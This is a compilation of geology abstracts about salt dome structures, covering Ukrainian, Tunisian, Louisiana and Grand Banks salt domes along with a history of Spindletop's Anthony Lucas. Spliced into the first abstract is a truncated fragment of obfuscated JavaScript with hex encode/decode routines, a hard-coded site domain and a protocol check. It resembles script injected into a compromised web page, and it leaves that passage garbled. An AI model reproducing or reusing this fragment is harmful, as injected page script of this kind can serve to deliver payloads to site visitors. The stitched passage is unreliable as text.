Salt Dome Structures Research Articles

EXPLOSION BRECCIAS – LITHOGEODYNAMIC INDICATOR OF INITIAL STAGE OF SALT DIAPIRISM

The near-diapir explosive breccias are of special informative significance as a possibility for the elucidation of the role of endogenic factors of salt diapirism. The paper deals with results of their study on evidence of deep drilling in Skorobogatkovsko-Pesochanskaya complexly-built salt-dome structure situated above apical part of Dnieper-Donets plume – the main total controlling factor of tectogenesis and naphtidogenesis in central – SE segment of Dnieper-Donets depression (with maximum deep, stratigraphic and phase-geochemical ranges of petroleum potential). The explosion breccias genetically connected with carbonatite and kimberlite magmatism are established apart from caprock. They are lithogeodynamic indicators of the initial stage of salt diapirism had been preceded by location of magmatic reservoirs (in knots of rift faults intersections) following by their differentiation into non-mixing carbonatite, kimberlite magmas and salt melt. They had initiated the origin of explosion tubes. Subsequent development of those tubes is connected with intrusion and following linking up of halokinesis. Further stages of salt diapirism progradation are connected with different-aged phases of tectonic-thermal activisation to be followed by their pushing out from explosion tubes, displacement of their remnants into the periphery of salt domes and intensive hydrothermal metasomatic transformation. Availability of relict signs of carbonatite and kimberlite nature of explosion near-diapir breccias allow to raise the question as to connected with giant salt diapirs prospects of searching not only oil and gas pools and brines, lead-zinc, copper, sulphur, boron, uranium deposits but also rare metals and diamonds. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

THE INTEGRATED GEOLOGICAL MODEL OF SOLOTVYNО STRUCTURE AS A TOOL TO ASSESS GEOECOLOGICAL SUSTAINABILITY OF SOLOTVYN OROCKSALT DEPOSIT

Solotvyno rock salt deposit is one of the large deposits in Ukraine. From the mid-90s at the deposit started to accumulate problems that have led to a dangerous environmental technogenic situation that has acquired the emergency status on the state level in 2010. In particular, destroying of the landscape, its degradation as a result of uncontrolled salt karst development, contamination of surface and underground water, threaten the cross-border contamination of the Tisza River. Definition of risks and management decisions to minimize the effects emergency situation should be based on an analysis of its causes. In the article the results of the analysis of geological and exploration activities that accompanied the development of Solotvyno salt dome structure resources; compiled, structured and processed layered multiscale geological information. Hierarchical database has been created and used to develop elements of the Solotvyno structure integrated geological model first iteration (the model of the earth’s surface, structure and tectonic of salt dome, hydrogeological and technological component of the geological environment). Constructions were performed using GIS applications, designed, adapted and improved authors methodic. Solotvyno structure integrated digital geological model has been proposed as a tool for evaluation of geoecological state determination measures to restore equilibrium in the geological environment analysis and evaluation of project technical decisions on the use of salt resources. Analysis of the first iteration model indicates the absence of the modern geological information on the geological environment №t only for ensure the accuracy of model constructions for all Solotvyno salt dome structure, but also to determine the critical parameters of the geological environment. The complex of geological and exploration activities for new geological information and improve the reliability of constructions has been proposed.

Використання гравірозвідки в комплексі геофізичних методів при вивченні солянокупольних структур ДДЗ

Використання гравірозвідки в комплексі геофізичних методів при вивченні солянокупольних структур ДДЗ

FAULT TECTONICS OF THE DNIEPER-DONETS DEPRESSION ACCORDING THE TOMOGRAPHIC INVERSION

The velocities’ distribution was obtained by interpretation of DSS data along profiles Dikanka - Druzhkovka and Reshetilovka - Sinevka using seismic tomographic inversion of first arrivals. That has allowed to allocate the fault zones. Research has revealed that oil and gas deposits crossing by profile Reshetilovka - Sinevka, are associated with the area of the minimum velocities in sedimentary cover. Sagaydakskoe is associated with salt-dome structure, but Semirenkovskoe and Tymofeevskoe - with deep faults. In the section of Dikanka - Druzhkovka profile all local depressions are characterized by different parameters of fault zones (depth, dip direction, inclination). At the edge of Chutovska and Raspashnovska depressions the high velocity anomaly was detected at the depth of30 kmwith associated fault zones which may serve as channels for oil and gas transision in the sedimentary cover.

Considerations on an underground neutrino radio detector in salt

This article presents the possibility of in-salt radio detection of high energy neutrinos, and shows the implications that a heterogeneous propagating medium has on both antenna behaviour, and on constructing the detector. Based on several factors (propagation effects signal to noise ratio, minimum necessary number of triggers, etc.) it was found that observations are limited at a 1022 eV energy threshold. This higher limit allows both neutrino characteristics, and internal structure of the dome to be simultaneously determined. A total number of 40 to 200 events per year is expected when typical sedimentary layers of about 5cm are considered for the internal salt dome structure.

Gravity contributions to the understanding of salt tectonics from the Jebel Cheid area (dome zone, Northern Tunisia)

ABSTRACTDetailed gravity measurements integrated with geological data were computed to constrain the mechanisms that were active during the emplacement of the Triassic evaporite‐bearing folds of Jebel Cheid from the salt‐dome zone in the Atlassic region. The gravity analysis consists in mapping the contrasting gravity responses: complete Bouguer anomaly, residual anomaly and derivative maps; the main results display a positive amplitude gravity anomaly as the response of Triassic evaporite bodies and important NE–SW‐trending features at the boundaries between the Triassic outcrops and their enveloping strata. In contrast with gravity calculations of a salt dome structure usually resulting in negative gravity anomaly models, the Jebel Cheid clearly expresses a positive gravity anomaly; furthermore, this result is supported by synthetic gravity interpretation.

Growth dissymmetrization of rare earth element distribution and the Sm-Nd isotope system in fluorite crystals of the Nordvik deposit (Taymyr)

Mineralogists and physicist have long been interested in the nature and regularities of the zonal‐sectoral structure of mineral monocrystals, but in many cases they have not found adequate explanation. In some works it was shown that dissymmetrization of physical features observed for such objects to a significant degree was connected with fractionation of trace elements and atomic groups by symmetrical nonequivalent facets of the growing crystal. For example, D. Rakovan et al. [1] has revealed a strongly expressed sectoral zonality in the distribution of trace rare earth elements (REE) in crystals of natural apatite with the help of synchrotron X-ray fluorescence microanalysis (SXRFMA). Analogous but weaker and ambiguously revealed effects have also been established for fluorite from several American deposits [2]. In [3] we used the method of high-resolution X-ray luminescence spectroscopy and discovered a special type of fluorite crystals of cuboctahedral habit (KOF‐1 type) characterized by distinctly revealed separation of “light” (LLn) and “heavy” (HLn) trace lanthanoid ions in different pyramids of growth of one growth zone of crystal. Among such objects, cuboctahedral fluorite crystals from the Nordvik deposit (Taymyr) are investigated in detail in this work. The deposit of optical fluorite Nordvik is located in the Uryung‐Tumus peninsula of the Khatanga Gulf and is connected with one of the salt dome and oil-bearing structures situated within the Enisey‐Khatanga basin. Fluorite mineralization is mainly connected with the cap rock carbonate blocks. The peculiarities of the fluorite genesis and geological structure of the Nordvik deposit were described earlier [4‐6]. Two transparent and colorless fluorite crystals of rare (for the Nordvik deposit) cuboctahedral habit were used in our investigation. Crystals of about 4 cm in diameter were sampled from the fluorite‐calcite veinlet localized in the lowest part of the dolomitic cap rock of the Nordvik deposit western flank. According to the data of thermobarogeochemical investigation (E.V. Tolmachev), both crystals were formed from hydrothermal solutions under the temperature 340‐370 ° C. 1

SPE Award Namesakes Were Leaders in the Industry

SPE confers 18 honors and awards that recognize members' technical and professional excellence as well as their contributions to the society, the engineering profession, and their communities. Five awards have become synonymous with AIME and SPE and are named in honor of individuals who made singular contributions to the industry. Anthony F. Lucas Gold Medal The Anthony F. Lucas Gold Medal, established by AIME in 1936, is awarded to individuals for distinguished achievement in improving the technique and practice of finding and producing petroleum. There have been 62 recipients of the award since its inception. The medal was named for Captain Anthony F. Lucas, who is associated with the famous Spindletop gusher near Beaumont, Texas, and was the first chairman of AIME's Oil and Gas Committee, the forerunner to what eventually would become SPE. Often referred to as the "father of petroleum engineering," Lucas was born Antun Lucic on the coast of Dalmatia in 1855. He graduated from the Polytechnic Institute in Graz and entered the Austrian Naval Academy. He rose to the rank of second lieutenant but took a 6 months' leave of absence in 1879 to visit an uncle in Saginaw, Michigan. Lucas found employment in the lumber country and secured a second leave from his naval service. At the end of 1880, he decided to remain in the United States and changed his name to Anthony Francis Lucas. He married Caroline Weed Fitzgerald in 1887 and moved to Washington, DC. Their son, Anthony Fitzgerald Lucas, was born in 1892. A mechanical and mining engineer, Lucas went from Colorado to Louisiana in search of gold, salt, and sulfur deposits. From 1893 to 1896, he supervised salt-mining operations in Louisiana for a New Orleans company. In drills at Anse la Butte, Belle Isle, and Grand Cote (Weeks Island), he found traces of salt deposits and oil characteristic of the salt domes of the Gulf of Mexico coast. He explored the salt dome structures in the southern states, and by the time he arrived in Beaumont, Lucas had an extensive knowledge of salt domes and sulfur deposits. Pattillo Higgins was responsible for attracting Lucas to Beaumont. In 1899, Lucas answered an advertisement for a drilling contractor position placed by Higgins. Lucas was searching primarily for sulfur, but he also knew that there was a possibility that the Spindletop mound—a piercement-type salt dome similar to those along the Louisiana coastal region—contained oil. Lucas and Higgins got a lease/purchase agreement from the Gladys City Company for 663 acres south of Beaumont at Spindletop. In a separate agreement, Lucas retained a 90% interest for funding the search, and Higgins was given a 10% interest. Although Lucas located traces of oil, he found drilling extremely difficult, and his light equipment collapsed after reaching a depth of 575 ft. With funds dwindling, Lucas looked toward John Galey and James Guffey for financial support. Galey, Guffey, and Lucas worked out an agreement for financing.

A heuristic method of removing micropulsations from airborne magnetic data

Geophysicists have long been able to use detailed maps of the earth's magnetic field to extract geologic information such as the depth to basement in sedimentary basins. Other features that can be identified from aeromagnetic data are the locations of possible salt dome structures, kimberlites, faulting, and zones of mineralization.

Regional Geology of Grand Banks

Geophysical and drilling operations within the Grand Banks area have established the existence of a thick sedimentary section that includes Tertiary, Mesozoic, and Paleozoic strata. An angular unconformity that developed in Early Cretaceous time divides the section into 2 distinct geologic units: the "upper wedge," comprised of Tertiary and Cretaceous strata, and the "subunconformity basins," containing Jurassic and older rocks. The relatively simple upper wedge has regionally gentle dip, disturbed by salt-dome structures. The subunconformity basins contain many structural types, including salt domes, salt ridges, faults, drape folds over basement blocks, and major sedimentary truncations at the unconformity.

Grand Banks Regional Geology: ABSTRACT

Geophysical and drilling operations within the area of the Grand Banks have established the existence of thick sedimentary accumulations that include Tertiary, Mesozoic, and Paleozoic formations. An angular unconformity that developed in Early Cretaceous time divides the section into two distinct geologic units. The is comprised of Tertiary and Cretaceous formations, whereas the contain Jurassic and older formations. The structure of the upper wedge is relatively simple, consisting of regional dip broken locally by salt-dome structures. The subunconformity basins contain a great variety of structural types, including salt domes, salt ridges, and basement-controlled block faults. End_of_Article - Last_Page 2146------------

Rock salt in deep grabens and in basins with crust of oceanic type

Oceanological (seismic sounding and deep-sea drilling) research in recent years has revealed the presence of salt-containing bodies and salt-dome structures beneath the floors of deep-water marine basins (such as the Gulf of Mexico, the Bay of Biscay and the Mediterranean Sea). Using comparative data on old and more recent basins of salt-deposition, along with calculations of the water-salts balance in such basins, it is concluded that these salt-bearing bodies can be accumulated in deep-sea basins with a primary oceanic crust. The probable mechanism of the accumulation of salts in deep trenches and basins is considered. — Authors

Production Potential of Deep Miocene Rocks in Southeastern Louisiana

Deep Miocene strata strike east-west across southeastern Louisiana. Generally, regional dip and total thickness of sedimentary rocks increase southward. Hydrocarbon traps include deep-seated and piercement salt domes and combination structural-stratigraphic types. Drilling below 15,000 ft indicates three east-west trends. The more southerly trend is a series of piercement salt domes and related up-to-the-basin faulting; deep production is from the downthrown Textularia L zone. A second trend is essentially an alignment of deep-seated salt domes; production is from both upthrown and downthrown strata on down-to-the-basin faulting. Productive formations are from sandstones in the Textularia L and Cibicides carstensi zones. The third trend, on the north, has one pierceme t salt dome and several deep-seated structures; production is from sandstones in the Robulus 43 and Nummulites (Camerina) operculinoides zones. Some deep tests have been disappointing failures because they were located on young structures. Others have encountered buried faults and related deep sandstones, or unexpected shallow productive sandstones--finds which encourage additional drilling. Production has been found below 21,000 ft and a prospective sandstone section may be projected to 30,000 ft and deeper. Prospecting above 17,000 ft has proved profitable, but at greater depths the economic potential is reduced by greater risks and costs.

Structural Development of Some Shallow Salt Domes in Louisiana Miocene Productive Belt

Six shallow salt domes in the Miocene productive belt of coastal Louisiana were studied to attain an understanding of the structural history during the time of deposition of the sediments penetrated by drilling. The domes were Clovelly, Cote Blanche, Lake Washington, Napoleonville, Weeks Island, and White Castle. Structural growth of the salt domes was contemporaneous with the deposition of sediments. The known stratigraphic section at the domes consists of about 15,000 ft of interbedded sandstone and shale underlain by a predominantly shale section with abnormally high pore pressures. The physical properties and differences in physical properties of the sandstone and shale sequence, predominantly shale section, and salt of these salt dome structures are partly responsible for the geometry of the structures. Structural details and features which were studied in an effort to understand the history of the salt structures were the sheath configuration, indications of uplift and differential subsidence, development of rim synclines, and faulting and fault patterns. Most of the flanking sedimentary rocks were either deposited against the core of the structure or pierced by the core shortly after deposition. The core of the structures consists of salt or a combination of salt with shale from the high-pore-pressure section underlying the shallower sandstone and shale sequence. The shale of the core moved and was emplaced in its present position as sheath by folding or by a combination of folding and faulting. The shape of the core exerted a control on the radius and rate of divergence of sedimentary intervals away from the core. If the side of the core dips at an angle of up to about 60°, the contours on the major faults in the flanking sedimentary rocks curve in tangentially to the core.

Marine Geology of Eastern Continental Margin of Canada: ABSTRACT

The outer continental shelf of eastern Canada, from Georges Bank to Ellesmere Island, is mainly smooth compared with most of the land on the west. This submerged prairie ranges from 10 to 300 mi wide. It is the northern extension of the coastal plain of the United States that is partly exposed on land as far north as Long Island. North of Long Island there are no documented marine fragments of plain sediments on land. The depth of water on the banks south of 48°N lat. is about 200 ft. In contrast, north of the 48° parallel, the average water depth is about 450 ft. The shelf is partly covered with Pleistocene ground moraine. Cenozoic and Mesozoic rocks crop out or are close to in-situ positions along some of the submerged valleys. It has been known for decades that most of the submerged coastal plain is underlain by fairly low-velocity sediments up to 25,000 or more ft thick. It can be speculated that these fairly soft strata (low velocity) are not older than Triassic because drifting and rifting probably started to make basins available to be filled at that time. The beds are mainly sandstone and shale. The source areas on the west are Precambrian and the folded Paleozoic rocks of the Appalachians. One speculation is that the Precambrian perhaps yielded a sandier section than the Paleozoic rocks because of the dominance of carbonates, volcanics, and shales in the Appalachian area. Drilling on the Grand Banks and Sable Island has shown that hydrocarbons are present. It is known that almost all the stages are present from Pleistocene to Upper Jurassic. Salt is present but its age is still only assigned to the Jurassic or earlier. It is tempting to speculate that the salt is Permian and a western segment of the North Sea salt. Salt dome structures are present as are basement features. This large frontier area is an attractive place to look for large petroleum reserves. End_of_Article - Last_Page 860------------

Reply to discussion by H. D. Outmans

In his criticism of our paper, Dr. Outmans objects to the assumption that salt flows as a Newtonian viscous material, holding that in reality it flows as a “solid.” This objection is based on the reasoning that in several cases shale material around salt domes has been pierced and brecciated by the rising salt. The faulting involved in the creation of the shale breccia is stated by Dr. Outmans to be “typically a property of a solid,” and according to him does not take place in a Newtonian viscous material. In consequence, any analysis of salt dome structures based on the assumption of Newtonian viscosity must be considered void.

Types of troughs between salt dome structures of Dnepr-Donets Depression

The downwarps, commonly regarded as compensational, may be subdivided further into three types on the basis of new evidence: a) "residual," produced during injections of salt accompanied by local uplifts of the overburden (most of the downwarps in the region belong to this type); b) "marginal or compensational," produced by subsidence of the ground between domes which do not arise by themselves, but only in conjunction 'with type (a); c) a deep-seated hypothetically recognized variant produced by local subsidence of materials under salt beds. — V. P. Sokoloff.

Concepts of genesis of sandstone-type uranium ore deposits

Although the sources of uranium in sandstone-type ores are in most cases obscure, the formation of the ore deposits can be attributed on the basis of sulfur isotopic data to the precipitating action of hydrogen sulfide of bacteriological origin. In some areas deposition has been related heretofore to natural gas, but the isotopic evidence does not support this origin. Certain fracture-controlled and breccia-pipe deposits also show isotopic evidence of having been formed under conditions similar to those existing for the sandstone- type ores. Geochemical relations suggest that salt-dome structures as well as fractures transecting carbonaceous sediments may be favorable sites for uranium accumulation. Certain features provide a unique basis for appraising the uranium potential of salt domes. The sulfur isotopic data reflecting bacteriological involvement in uranium deposition in no way refute the possibility that the uranium was initially derived as an igneous emanation, but the tuff-leach mechanism may provide a more favorable model on which to base exploration in some areas of the U.S.A. The concepts discussed may aid greatly in developing models of uranium distribution which may be applied in future exploration. (auth)

Forecast of Exploration and Development of Salt-Dome Structures of Louisiana Continental Shelf: ABSTRACT

Drilling exploration of structures of the Louisiana Continental Shelf has progressed to such an extent that it appears that a reasonable prediction can be made of the number of the various types of structures that will eventually be found when development of this area has reached a stage comparable with that now existing for the onshore Miocene area of South Louisiana. Based on a study of the land Miocene area, it is estimated that a total of 540 offshore structures will be found out to water depths of 600 feet, of which 216 will be productive of gas, 124 productive of oil, and 200 productive of both oil and gas. It is estimated that, of this total of 540 structures, 81 are piercement salt domes with the major reserves trapped against the domal core, and 459 are deep-seated features which, though related to deep salt intrusion, have their major oil and gas reserves in reservoirs above the salt core. The area covered by the average deep-seated salt dome feature is approximately 9 square miles in the land Miocene area, as compared with approximately 19 square miles of structural area encompassed by the average piercement salt dome. The average gas-productive structure is substantially smaller than the average structure productive of oil, or of oil and gas. The same relationships can be anticipated offshore. It also appears reasonable to anticipate that approximately 20 per cent of the total of 24,552 square miles of offshore water bottoms underlain by potentially productive Miocene and younger sediments will be proved to be occupied by structures, restrictive parts of which will be productive of oil or gas. It is estimated that 288 structures are present in water depths of less than 100 feet, of which 200 undrilled but potentially productive structures still remain to be found. It should be remembered that many of these structures will be proved non-commercial with development drilling. In the essentially unexplored water depths from 100 feet to 600 feet, it is estimated that 252 structures potentially productive of oil or gas will be found eventually, only one of which has been drilled to July, 1961. The presence of a type of structure not common to the land Miocene area of Louisiana but associated with salt uplift and intrusion is described, and the possibility of additional occurrences of this type of prolific structure elsewhere offshore is discussed. End_of_Article - Last_Page 259------------

PERSPECTIVES FOR THE UTILIZATION OF GEOBOTANICAL GUIDES IN THE DETECTION OF SALT-DOME STRUCTURES

In a hot, dry climate the presence of salt-loving vegetation (halophytes) may serve as a supplementary indicator of the presence of a salt-dome structure. Deep-seated oily water apparently forces the highly saline waters to the surface, where vegetation indicators may take two forms: where drainage is poor, the halophytes will be found along the anticline itself, but where drainage is good, the salt-loving plants concentrate along the perimeter of the salt-dome structure, sometimes virtually outlining it. In addition, the presence of gigantic and deformed plants in the area may indicate a high bitumen content. However, the influence of the deep oily water on the salinity of overlying deposits, soil and ground water varies with geologic conditions, depth and chemical composition of the ground water, conditions for its ascendance and conditions determining soil formation. The authors caution against over-simplification, since not every halophytic association indicates a buried salt dome; the specie composition of the association and presence or absence of bitumen-indicating forms must also be considered. --A. Eustus.